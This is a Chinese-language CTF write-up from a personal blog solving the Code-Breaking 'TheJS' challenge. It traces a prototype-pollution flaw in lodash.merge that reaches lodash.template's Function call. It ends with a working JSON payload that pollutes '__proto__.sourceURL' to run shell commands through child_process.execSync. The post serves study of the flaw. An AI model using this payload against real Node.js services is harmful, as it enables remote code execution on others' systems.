Hu3sky's blog

JavaScript Prototype 污染攻击之 Code-Breaking-TheJS篇

Word count: 662 / Reading time: 3 min
2019/05/07 Share

JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇

学了JavaScript Prototype 污染攻击就来做下这个题
拿Express写的
11.png

add后的req包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:3000/
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Cookie: hd_searchtime=1551443821; hd_sid=laL1QJ; hd_auth=8f6b7ztjwHD%2FByzMLXklKqSNxKXEZD%2FFxLzCvLirfurAFNfzmrvSuNbIFGBn6armKNVERNllm5gEI1sZ6R6W; thejs.session=s%3A641ocDa2fYI6QXST-s-yySWeS5YQXZxB.Upc5QaTRXNjjNcSg%2BXlqCnATDL%2BYPzhcFqiLiX3Qojs
Connection: close
Upgrade-Insecure-Requests: 1

language[]=php&language[]=python&category[]=web&category[]=misc

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
# 三个点 扩展运算符
# 使用方法:https://www.jianshu.com/p/1252bd871fb3
let rendered = compiled({...options})

return callback(null, rendered)
})
})
...

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

...

三个点,将数组打散为序列
11.png

这里出现了loadhash.merge合并函数

1
2
3
4
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data //合并提交内容保存到session
}

很显然 有原型链污染的可能性

11.png

当post 一个a
11.png
当继续post 一个b
11.png

可见 会保存到session

node_modules\lodash\merge.js找到函数

1
2
3
var merge = createAssigner(function(object, source, srcIndex) {
baseMerge(object, source, srcIndex);
});

baseMerge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function baseMerge(object, source, srcIndex, customizer, stack) {
if (object === source) {
return;
}
baseFor(source, function(srcValue, key) {
if (isObject(srcValue)) {
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
}
else {
var newValue = customizer
? customizer(object[key], srcValue, (key + ''), object, source, stack)
: undefined;

if (newValue === undefined) {
newValue = srcValue;
}
assignMergeValue(object, key, newValue);
}
}, keysIn);
}

第二个函数模板引擎lodash.template

1
2
3
4
5
6
7
//options
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

options为我们在模版引擎中,渲染的值

options有值时,sourceURL如下
11.png

options为空时,sourceURL为空
于是该属性的值可控
所以 当污染到options.sourceURL属性时,就会使Function函数执行任意代码

关于Function函数
11.png
11.png

绕过require
https://xz.aliyun.com/t/4361#toc-2

1
global.process.mainModule.constructor._load # 与require作用相同

所以 执行命令的方法

1
global.process.mainModule.constructor._load("child_process").execSync("id").toString())

Final Payload

于是 思路
通过merge函数的污染->污染options.sourceURL的值

这里需要sourceURL返回一个function,否则会报错,一开始不理解这个点,请教了@l0ca1师傅
11.png

1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {return global.process.mainModule.constructor._load('child_process').execSync('dir').toString()}\r\n"}}

11.png

CATALOG
  1. 1. JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇
    1. 1.1. Final Payload